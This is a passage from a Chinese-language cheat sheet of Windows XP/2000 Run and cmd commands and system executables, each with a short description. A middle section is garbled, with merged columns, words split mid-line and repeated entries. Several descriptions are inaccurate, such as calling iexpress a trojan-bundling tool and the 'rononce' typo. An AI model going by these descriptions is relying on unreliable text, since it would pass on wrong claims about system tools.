Ctrl-D, 0x6 是 Ctrl-F)。用户特定设置优先于机器设置。命令行开关

优先于注册表设置。

如果完成是用 /F:ON 命令行开关启用的, 两个要使用的控制符是: 目录名

字完成用 Ctrl-D, 文件名完成用 Ctrl-F。要停用注册表中的某个

字符, 请用空格(0x20)的数值, 因为此字符不是控制字符。

如果键入两个控制字符中的一个, 完成会被调用。完成功能将

路径字符串带到光标的左边, 如果没有通配符, 将通配符附加

到左边, 并建立相符的路径列表。然后, 显示第一个相符的路

径。如果没有相符的路径, 则发出嘟嘟声, 不影响显示。之后,

重复按同一个控制字符会循环显示相符路径的列表。将 Shift 键

跟控制字符同时按下, 会倒着显示列表。如果对该行进行了任

何编辑，并再次按下控制字符，保存的相符路径的列表会被丢弃，新的会被生成。如果在文件和目录名完成之间切换，会发生同样现象。两个控制字符之间的唯一区别是文件完成字符符合文件和目录名，而目录完成字符只符合目录名。如果文件完成被用于内置式目录命令(CD、MD 或 RD)，就会使用目录完成。

将引号将相符路径括起来，完成代码可以正确处理含有空格或其他特殊字符的文件名。同时，如果备份，然后从行内调用文件完成，完成被调用是位于光标右方的文字会被丢弃。

需要引号的特殊字符是：

<space>

&()[]{}^=;!'+,`~

开始——运行。。。。。。大家一定很熟悉了吧，但出了 PING,REGEDIT,MMC 之外还还记得什么吗？那就来这儿看看吧！

winver-----检查 Windows 版本

wmimgmt.msc----打开 windows 管理体系结构(WMI)

wupdmgr-----windows 更新程序

wscript-----windows 脚本宿主设置

write-----写字板

winmsd-----系统信息

wiaacmgr-----扫描仪和照相机向导

winchat-----XP 自带局域网聊天

mem.exe-----显示内存使用情况

Msconfig.exe---系统配置实用程序

mplayer2-----简易 windows media player

mspaint-----画图板

mstsc-----远程桌面连接

mplayer2-----媒体播放机

magnify-----放大镜实用程序

mmc-----打开控制台

mobsync-----同步命令

dxdiag-----检查 DirectX 信息

drwtsn32----- 系统医生

devmgmt.msc--- 设备管理器

dfrg.msc-----磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-----打开系统组件服务

ddeshare-----打开 DDE 共享设置

dvdplay-----DVD 播放器

net stop messenger-----停止信使服务

net start messenger----开始信使服务

notepad-----打开记事本

nslookup-----网络管理的工具向导

ntbackup-----系统备份和还原

narrator-----屏幕“讲述人”

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat -an----(TC)命令检查接口

syncapp-----创建一个公文包

sysedit-----系统配置编辑器

sigverif-----文件签名验证程序

sndrec32-----录音机

shrpublish-----创建共享文件夹

secpol.msc----本地安全策略

syskey-----系统加密，一旦加密就不能解开，保护 windows xp 系统的双重密码

services.msc---本地服务设置

Sndvol32-----音量控制程序

sfc.exe-----系统文件检查器

sfc /scannow---windows 文件保护

tsshutdown-----60 秒倒计时关机命令

tourstart-----xp 简介（安装完成后出现的漫游 xp 程序）

taskmgr-----任务管理器

eventvwr-----事件查看器

eudcedit-----造字程序

explorer-----打开资源管理器

packager-----对象包装程序

perfmon.msc----计算机性能监测程序

progman-----程序管理器

regedit.exe----注册表

rsop.msc-----组策略结果集

regedt32-----注册表编辑器

rononce -p ----15 秒关机

regsvr32 /u *.dll----停止 dll 文件运行

regsvr32 /u zipfldr.dll-----取消 ZIP 支持

cmd.exe-----CMD 命令提示符

chkdsk.exe----Chkdsk 磁盘检查

certmgr.msc----证书管理实用程序

calc-----启动计算器

charmap-----启动字符映射表

cliconfg-----SQL SERVER 客户端网络实用程序

Clipbrd-----剪贴板查看器

conf-----启动 netmeeting

compmgmt.msc---计算机管理

cleanmgr-----垃圾整理

ciadv.msc-----索引服务程序

osk-----打开屏幕键盘

odbcad32-----ODBC 数据源管理器

oobe/msoobe /a----检查 XP 是否激活

lusrmgr.msc----本机用户和组

logoff-----注销命令

iexpress-----木马捆绑工具，系统自带

Nslookup-----IP 地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman-----辅助工具管理器

gpedit.msc-----组策略

开始→运行（cmd）命令大全

gpedit.msc-----组策略

sndrec32-----录音机

Nslookup-----IP 地址侦测器
器

explorer-----打开资源管理

logoff-----注销命令
命令

tsshutdn-----60 秒倒计时关机

lusrmgr.msc---本机用户和组
置

services.msc---本地服务设

oobe/msoobe /a---检查 XP 是否激活

notepad-----打开记事本

cleanmgr-----垃圾整理 信使服务	net start messenger----开始
compmgmt.msc---计算机管理 止信使服务	net stop messenger----停
conf-----启动 netmeeting	dvdplay-----DVD 播放器
charmap-----启动字符映射表	diskmgmt.msc---磁盘管理实用程序
calc-----启动计算器 序	dfrg.msc-----磁盘碎片整理程
chkdsk.exe----Chkdsk 磁盘检查	devmgmt.msc--- 设备管理器
regsvr32 /u *.dll----停止 dll 文件运行	drwtsn32----- 系统医生
rononce -p ----15 秒关机 息	dxdiag-----检查 DirectX 信
regedt32-----注册表编辑器 用程序	Msconfig.exe---系统配置实
rsop.msc-----组策略结果集 情况	mem.exe-----显示内存使用
regedit.exe----注册表 聊天	winchat-----XP 自带局域网
progman-----程序管理器	winmsd-----系统信息
perfmon.msc----计算机性能监测程序 版本	winver-----检查 Windows
sfc /scannow-----扫描错误并复原	winipcfg-----IP 配置
taskmgr----任务管理器（2000 / xp / 2003）	command-----cmd
fsmgmt.msc 共享文件夹	netstat -an---查看端口
osk 屏幕键盘 页	install.asp----修改注册网
eventvwr.msc 时间查看器	

secpol.msc 本地安全设置

services.msc 服务

2K

accwiz.exe > 辅助工具向导

acsetup.exe > acs setup dcom server executable

actmovie.exe > 直接显示安装工具

append.exe > 允许程序打开制定目录中的数据

arp.exe > 显示和更改计算机的 ip 与硬件物理地址的对应列表

at.exe > 计划运行任务

atmadm.exe > 调用管理器统计

attrib.exe > 显示和更改文件和文件夹属性

autochk.exe > 检测修复文件系统

autoconv.exe > 在启动过程中自动转化系统

autofmt.exe > 在启动过程中格式化进程

autolfn.exe > 使用长文件名格式

bootok.exe > boot acceptance application for registry

bootvrfy.exe > 通报启动成功

cacls.exe > 显示和编辑 acl

calc.exe > 计算器

cdplayer.exe > cd 播放器

change.exe > 与终端服务器相关的查询

charmap.exe > 字符映射表

chglogon.exe > 启动或停用会话记录

chgport.exe > 改变端口（终端服务）

chgusr.exe > 改变用户（终端服务）

chkdsk.exe > 磁盘检测程序

chkntfs.exe > 磁盘检测程序

cidaemon.exe > 组成 ci 文档服务

cipher.exe > 在 ntfs 上显示或改变加密的文件或目录

cisvc.exe > 索引内容

ckcnv.exe > 变换 cookie

cleanmgr.exe > 磁盘清理

cliconfg.exe > sql 客户网络工具

clipbrd.exe > 剪贴簿查看器

clipsrv.exe > 运行 clipboard 服务

clspack.exe > 建立系统文件列表清单

cluster.exe > 显示域的集群

cmd.exe > 没什么好说的！

cmdl32.exe > 自动下载连接管理

cmmgr32.exe > 连接管理器

cmmon32.exe > 连接管理器监视

cmstp.exe > 连接管理器配置文件安装程序

comclust.exe > 集群

comp.exe > 比较两个文件和文件集的内容 *

compact.exe > 显示或改变 ntfs 分区上文件的压缩状态

conime.exe > ime 控制台

control.exe > 控制面板

convert.exe > 转换文件系统到 ntfs

convlog.exe > 转换 iis 日志文件格式到 ncsa 格式

cprofile.exe > 转换显示模式

cscript.exe > 较本宿主版本

csss.exe > 客户服务器 runtime 进程

csvde.exe > 日至格式转换程序

dbgtrace.exe > 和 terminal server 相关

dcomcnfg.exe > dcom 配置属性

dcphelp.exe > ?

dcpromo.exe > ad 安装向导

ddeshare.exe > dde 共享

ddmprxy.exe >

debug.exe > 就是 debug 啦!

dfrgfat.exe > fat 分区磁盘碎片整理程序

dfrgntfs.exe > ntfs 分区磁盘碎片整理程序

dfs_cmd_.exe > 配置一个 dfs 树

dfsinit.exe > 分布式文件系统初始化

dfssvc.exe > 分布式文件系统服务器

diantz.exe > 制作 cab 文件

diskperf.exe > 磁盘性能计数器

dllhost.exe > 所有 com+应用软件的主进程

dllhst3g.exe >

dmadmin.exe > 磁盘管理服务

dmremote.exe > 磁盘管理服务的一部分

dns.exe > dns applications dns

doskey.exe > 命令行创建宏

dosx.exe > dos 扩展

dplaysvr.exe > 直接运行帮助

drwatson.exe > 华生医生错误检测

drwtsn32.exe > 华生医生显示和配置管理

dtcsetup.exe > installs mdtc

dvdplay.exe > dvd 播放

dxdiag.exe > direct-x 诊断工具

edlin.exe > 命令行的文本编辑器（历史悠久啊！）

edlin.exe > 命令行的文本编辑器（历史悠久啊！）

esentutl.exe > ms 数据库工具

eudcredit.exe > type 造字程序

eventvwr.exe > 事件查看器

evnt_cmd_.exe > event to trap translator; configuration tool

evntwin.exe > event to trap translator setup

exe2bin.exe > 转换 exe 文件到二进制

expand.exe > 解压缩

extrac32.exe > 解 cab 工具

fastopen.exe > 快速访问在内存中的硬盘文件

faxcover.exe > 传真封面编辑

faxqueue.exe > 显示传真队列

faxsend.exe > 发送传真向导

faxsvc.exe > 启动传真服务

fc.exe > 比较两个文件的不同

find.exe > 查找文件中的文本行

findstr.exe > 查找文件中的行

finger.exe > 一个用户并显示出统计结果

fixmapi.exe > 修复 mapi 文件

flattemp.exe > 允许或者禁用临时文件目录

fontview.exe > 显示字体文件中的字体

forcedos.exe > forces a file to start in dos mode. 强制文件在 dos 模式下运行

freecell.exe > popular windows game 空当接龙

ftp.exe > file transfer protocol used to transfer files over a network conne

ction 就是 ftp 了

gdi.exe > graphic device interface 图形界面驱动

grovel.exe >

grpconv.exe > program manager group convertor 转换程序管理员组

help.exe > displays help for windows 2000 commands 显示帮助

hostname.exe > display hostname for machine. 显示机器的 hostname

ie4unit.exe > ie5 user install tool ie5 用户安装工具

ieshwiz.exe > customize folder wizard 自定义文件夹向导

ieexpress.exe > create and setup packages for install 控件安装包

iisreset.exe > restart iis admin service 重启 iis 服务

internat.exe > keyboard language indicator applet 键盘语言指示器

ipconfig.exe > windows 2000 ip configuration. 察看 ip 配置

ipsecmon.exe > ip security monitor ip 安全监视器

ipxroute.exe > ipx routing and source routing control program ipx 路由和源路由

控制程序

irftp.exe > setup ftp for wireless communication 无线连接

ismserv.exe > intersite messaging service 安装或者删除 service control manage

r 中的服务

jdbgmgr.exe > microsoft debugger for java 4 java4 的调试器

jetconv.exe > convert a jet engine database 转换 jet engine 数据库

jetpack.exe > compact jet database. 压缩 jet 数据库

jview.exe > command-line loader for java java 的命令行装载者

krnl386.exe > core component for windows 2000 2000 的核心组件

label.exe > change label for drives 改变驱动器的卷标

lcwiz.exe > license compliance wizard for local or remote systems. 许可证符合

向导

ldifde.exe > ldif cmd line manager ldif 目录交换命令行管理

licmgr.exe > terminal server license manager 终端服务许可协议管理

lights.exe > display connection status lights 显示连接状况

llsmgr.exe > windows 2000 license manager 2000 许可协议管理

llssrv.exe > start the license server 启动许可协议服务器

lnkstub.exe >

locator.exe > rpc locator 远程定位

lodctr.exe > load perfmon counters 调用性能计数

logoff.exe > log current user off. 注销用户

lpq.exe > displays status of a remote lpd queue 显示远端的 lpd 打印队列的状态，

显示被送到基于 unix 的服务器的打印任务

lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印

机。通常用于 unix 客户打印机将打印任务发送给连接了打印设备的 nt 的打印机服务器。

lsass.exe > lsa executable and server dll 运行 lsa 和 server 的 dll

lserver.exe > specifies the new dns domain for the default server 指定默认 se

rver 新的 dns 域

os2.exe > an os/2 warp server (os2 /o) os/2

os2srv.exe > an os/2 warp server os/2

os2ss.exe > an os/2 warp server os/2

osk.exe > on screen keyboard 屏幕键盘

packager.exe > windows 2000 packager manager 对象包装程序

pathping.exe > combination of ping and tracert 包含 ping 和 tracert 的程序

pax.exe > is a posix program and path names used as arguments must be specif

ied in posix format. use "//c/users/default" instead of "c:usersdefault."

启动便携式存档互换 (pax) 实用程序

pentnt.exe > used to check the pentium for the floating point division error

. 检查 pentium 的浮点错误

perfmon.exe > starts windows performance monitor 性能监视器

ping.exe > packet internet groper 验证与远程计算机的连接

posix.exe > used for backward compatibility with unix 用于兼容 unix

print.exe > cmd line used to print files 打印文本文件或显示打印队列的内容。

progman.exe > program manager 程序管理器

proquota.exe > profile quota program

psxs.exe > posix subsystem application posix 子系统应用程序

qappsrv.exe > displays the available application terminal servers on the net

work

在网上显示终端服务器可用的程序

qprocess.exe > display information about processes local or remote 在本地或远

程显示进程的信息 (需终端服务)

query.exe > query termserver user process and sessions 查询进程和对话

quser.exe > display information about a user logged on 显示用户登陆的信息 (需

终端服务)

qwinsta.exe > display information about terminal sessions. 显示终端服务的信息

rasadmin.exe > start the remote access admin service 启动远程访问服务

rasautou.exe > creates a ras connection 建立一个 ras 连接

rasdial.exe > dial a connection 拨号连接

ras.exe > starts a ras connection 运行 ras 连接

rcp.exe > copies a file from and to a rcp service. 在 windows 2000 计算机和运

行远程外壳端口监控程序 rshd 的系统之间复制文件

rdpclip.exe > rdpclip allows you to copy and paste files between a terminal

session and client console session. 再终端和本地复制和粘贴文件

recover.exe > recovers readable information from a bad or defective disk 从坏

的或有缺陷的磁盘中恢复可读取的信息。

redir.exe > starts the redirector service 运行重定向服务

regedt32.exe > 32-bit register service 32 位注册服务

regini.exe > modify registry permissions from within a script 用脚本修改注册

许可

register.exe > register a program so it can have special execution character

istics. 注册包含特殊运行字符的程序

regsvc.exe >

regsvr32.exe > registers and unregister"s dll"s. as to how and where it regi

ster"s them i dont know. 注册和反注册 dll

regtrace.exe > options to tune debug options for applications failing to dum

p trace statements

trace 设置

regwiz.exe > registration wizard 注册向导

remrras.exe >

replace.exe > replace files 用源目录中的同名文件替换目标目录中的文件。

reset.exe > reset an active section 重置活动部分

rexec.exe > runs commands on remote hosts running the rexec service. 在运行

rexec 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机

上的用户名，只有安装了 tcp/ip 协议后才可以使用该命令。

risetup.exe > starts the remote installation service wizard. 运行远程安装向导

服务

route.exe > display or edit the current routing tables. 控制网络路由表

routemon.exe > no longer supported 不再支持了！

router.exe > router software that runs either on a dedicated dos or on an os

/2 system. route 软件在 dos 或者是 os/2 系统

rsh.exe > runs commands on remote hosts running the rsh service 在运行 rsh 服

务的远程计算机上运行命令

rsm.exe > mounts and configures remote system media 配置远程系统媒体

rsnotify.exe > remote storage notification recall 远程存储通知回显

rsvp.exe > resource reservation protocol 源预约协议

runas.exe > run a program as another user 允许用户用其他权限运行指定的工具和

程序

rundll32.exe > launches a 32-bit dll program 启动 32 位 dll 程序

runonce.exe > causes a program to run during startup 运行程序再开始菜单中

rwinsta.exe > reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

savedump.exe > does not write to e:\winntuser.dmp 不写入 user.dmp 中

scardsvr.exe > smart card resource management server 智能卡资源管理服务器

schupgr.exe > it will read the schema update files (.ldf files) and upgrade the schema. (part of adsi) 读取计划更新文件和更新计划

secdit.exe > starts security editor help 自动安全性配置管理

services.exe > controls all the services 控制所有服务

sethc.exe > set high contrast - changes colours and display mode logoff to set it back to normal 设置高对比

setreg.exe > shows the software publishing state key values 显示软件发布的国家语言

setup.exe > gui box prompts you to goto control panel to configure system components 安装程序（转到控制面板）

setver.exe > set version for files 设置 ms-dos 子系统向程序报告的 ms-dos 版本号

sfc.exe > system file checker test and check system files for integrity 系统文件检查

sfmprint.exe > print services for macintosh 打印 macintosh 服务

sfmpsex.exe >

sfmsvc.exe >

shadow.exe > monitor another terminal services session. 监控另外一台中端服务

器会话

share.exe > windows 2000 和 ms-dos 子系统不使用该命令。接受该命令只是为了与

ms-dos 文件兼容

shmgrate.exe >

shrpubw.exe > create and share folders 建立和共享文件夹

sigverif.exe > file signature verification 文件签名验证

skeys.exe > serial keys utility 序列号制作工具

smlogsvc.exe > performance logs and alerts 性能日志和警报

smss.exe >

sndrec32.exe > starts the windows sound recorder 录音机

sndvol32.exe > display the current volume information 显示声音控制信息

snmp.exe > simple network management protocol used for network mangement 简单

网络管理协议

snmptrap.exe > utility used with snmp snmp 工具

sol.exe > windows solitaire game 纸牌

sort.exe > compares files and folders 读取输入、排序数据并将结果写到屏幕、文

件和其他设备上

SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

sprestrt.exe >

srvmgr.exe > Starts the Windows Server Manager 服务器管理器

stimon.exe > WDM StillImage- > Monitor

stisvc.exe > WDM StillImage- > Service

subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

svchost.exe > Svchost.exe is a generic host process name for services that a

re run from dynamic-link libraries (DLLs). DLL 得主进程

syncapp.exe > Creates Windows Briefcase. 创建 Windows 文件包

sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

syskey.exe > Encrypt and secure system database NT 账号数据库按群工具

sysocmgr.exe > Windows 2000 Setup 2000 安装程序

systray.exe > Starts the systray in the lower right corner. 在低权限运行 syst

ray

macfile.exe > Used for managing MACFILES 管理 MACFILES

magnify.exe > Used to magnify the current screen 放大镜

makecab.exe > MS Cabinet Maker 制作 CAB 文件

mdm.exe > Machine Debug Manager 机器调试管理

mem.exe > Display current Memory stats 显示内存状态

migpwd.exe > Migrate passwords. 迁移密码

mmc.exe > Microsoft Management Console 控制台

mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting 远程桌面共享

mobsync.exe > Manage Synchronization. 同步目录管理器

mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或

列出卷的装入点。

mplay32.exe > MS Media Player 媒体播放器

mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序

序

mq1sync.exe >

mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具

具

mqexchg.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

mqsvc.exe > ?

mrinfo.exe > Multicast routing using SNMP 使用 SNMP 多点传送路由

mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装 MSCD

msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

mshta.exe > HTML Application HOST HTML 应用程序主机

msiexec.exe > Starts Windows Installer Program 开始 Windows 安装程序

mspaint.exe > Microsoft Paint 画板

msswchx.exe >

mstask.exe > Task Schedule Program 任务计划表程序

mstinit.exe > Task scheduler setup 任务计划表安装

narrator.exe > Program will allow you to have a narrator for reading. Micros

oft 讲述人

nbtstat.exe > Displays protocol stats and current TCP/IP connections using N

BT 使用 NBT (TCP/IP 上的 NetBIOS) 显示协议统计和当前 TCP/IP 连接。

nddeapir.exe > NDDE API Server side NDDE API 服务器端

net.exe > Net Utility 详细用法看/?

net1.exe > Net Utility updated version from MS Net 的升级版

netdde.exe > Network DDE will install itself into the background 安装自己到后台

netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。

netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。

nlsfunc.exe > Loads country-specific information 加载特定国家 (地区) 的信息。

Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。

notepad.exe > Opens Windows 2000 Notepad 记事本

nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。

ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

ntbooks.exe > Starts Windows Help Utility 帮助

ntdsutil.exe > Performs DB maintenance of the ADSI 完成 ADSI 的 DB 的维护

ntfrs.exe > NT File Replication Service NT 文件复制服务

ntfrsupg.exe >

ntkrnlpa.exe > Kernel patch 核心补丁

ntoskrnl.exe > Core NT Kernel KT 的核心

ntsd.exe >

ntvdm.exe > Simulates a 16-bit Windows environment 模拟 16 位 Windows 环境

nw16.exe > Netware Redirector NetWare 转向器

nwscript.exe > runs netware scripts 运行 Netware 脚本

odbcad32.exe > ODBC 32-bit Administrator 32 位 ODBC 管理

odbcconf.exe > Configure ODBC driver"s and data source"s from command line 命令
行配置 ODBC 驱动和数据源

taskman.exe > Task Manager 任务管理器

taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

tcmssetup.exe > telephony client wizard 电话服务客户安装

tcpsvcs.exe > TCP Services TCP 服务

.exe > Telnet Utility used to connect to Telnet Server

termsrv.exe > Terminal Server 终端服务

tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行
TFTP 服务的远程计算机传输文件

tftpd.exe > Trivial FTP Daemon

themes.exe > Change Windows Themes 桌面主题

tlntadmn.exe > Telnet Server Administrator Telnet 服务管理

tlntsess.exe > Display the current Telnet Sessions 显示目前的 Telnet 会话

tlntsvr.exe > Start the Telnet Server 开始 Telnet 服务

tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间

(TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标，以决定到达目标
采用的路由

tsadmin.exe > Terminal Server Administrator 终端服务管理器

tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端
对话

tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

tskill.exe > Kill a Terminal server process 杀掉终端服务

tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结
果

tsshutdn.exe > Shutdown the system 关闭系统

unlodctr.exe > Part of performance monitoring 性能监视器的一部分

upg351db.exe > Upgrade a jet database 升级 Jet 数据库

ups.exe > UPS service UPS 服务

user.exe > Core Windows Service Windows 核心服务

userinit.exe > Part of the winlogon process Winlogon 进程的一部分

usrmgr.exe > Start the windows user manager for domains 域用户管理器

utilman.exe > This tool enables an administrator to designate which computers
automatically open accessibility tools when Windows 2000 starts. 指定 2000 启动时自动打开那
台机器

verifier.exe > Driver Verifier Manager Driver Verifier Manager

vwipxspx.exe > Loads IPX/SPX VDM 调用 IPX/SPX VDM

w32tm.exe > Windows Time Server 时间服务器

wextract.exe > Used to extract windows files 解压缩 Windows 文件

winchat.exe > Opens Windows Chat 打开 Windows 聊天

winhlp32.exe > Starts the Windows Help System 运行帮助系统

winlogon.exe > Used as part of the logon process. Logon 进程的一部分

winmine.exe > windows Game 挖地雷

winmsd.exe > Windows Diagnostic utility 系统信息

wins.exe > Wins Service Wins 服务

winspool.exe > Print Routing 打印路由

winver.exe > Displays the current version of Windows 显示 Windows 版本

wizmgr.exe > Starts Windows Administration Wizards Windows 管理向导

wjview.exe > Command line loader for Java 命令行调用 Java

wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE tas

k runs in the target debuggee"s VM 启动时，32 位 API 需要

wowexec.exe > For running Windows over Windows Applications 在 Windows 应用程序
上运行 Windows

wpninst.exe > ?

write.exe > Starts MS Write Program 写字板

wscript.exe > Windows Scripting Utility 脚本工具

wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行 Windows 升级向导

xcopy.exe > 复制文件和目录，包括子目录

